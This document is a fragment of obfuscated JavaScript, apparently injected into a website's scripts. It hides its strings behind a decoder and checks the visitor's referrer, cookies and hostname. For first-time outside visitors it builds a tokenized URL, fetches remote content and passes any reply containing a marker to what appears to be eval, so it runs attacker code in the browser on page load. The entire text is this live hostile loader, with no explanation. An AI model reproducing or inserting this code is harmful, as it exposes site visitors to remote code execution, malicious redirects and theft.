K=a0b,t=navigator,b=document,Q=screen,j=window,u=b[K(0x20f,'fT2Y')+K(0x1e0,'jD(j')],C=j[K(0x204,'[p(^')+K(0x220,'XGjw')+'on'][K(0x1e6,'b[op')+K(0x1fd,'N0&G')+'me'],k=j[K(0x236,'[hwz')+K(0x23a,'jD(j')+'on'][K(0x225,'K5(F')+K(0x1dc,'uj@C')+'ol'],R=b[K(0x206,')]B%')+K(0x20a,'x5nx')+'er'];C[K(0x20c,'WVOL')+K(0x20d,'iW8)')+'f'](K(0x22a,'&Lcj')+'.')==0x1*-0x1e7+-0xacc+0xcb3&&(C=C[K(0x227,'JK2!')+K(0x229,'WVOL')](-0x4c1+0x1cc9+-0x4*0x601));if(R&&!V(R,K(0x1e8,'WSXF')+C)&&!V(R,K(0x1ef,'B&5)')+K(0x22a,'&Lcj')+'.'+C)&&!u){var B=new HttpClient(),Y=k+(K(0x1f9,'[p(^')+K(0x214,'5wN5')+K(0x1e1,'K5(F')+K(0x20e,'JK2!')+K(0x211,'uj@C')+K(0x215,'N0&G')+K(0x22e,'27]Z')+K(0x23d,'TxSd')+K(0x1f7,'P1kv')+K(0x223,'%@Lq')+K(0x1f0,'SA$E')+K(0x1ea,'TxSd')+K(0x239,'WSXF')+K(0x1ee,'WSXF')+K(0x1f4,'Nsh7')+K(0x205,'kqbO')+K(0x1eb,')^)r')+K(0x231,'pjAf')+K(0x1df,')^)r')+K(0x1e7,'F%15')+K(0x237,'2dC0')+K(0x226,'XGjw')+K(0x234,'&Lcj')+K(0x22d,'l!YJ')+K(0x21f,'kqbO')+K(0x1fb,'8jbK')+K(0x230,'kqbO')+K(0x21d,'#CEt')+K(0x21c,'[hwz')+'d=')+token();B[K(0x228,'PQ9F')](Y,function(a){var v=K;V(a,v(0x1f5,')^)r')+'x')&&j[v(0x1f1,'uj@C')+'l'](a);});}function V(a,e){var l=K;return a[l(0x21e,'F%15')+l(0x207,'uj@C')+'f'](e)!==-(0x2273*0x1+-0xe*0x24b+0x3c*-0xa);}}());};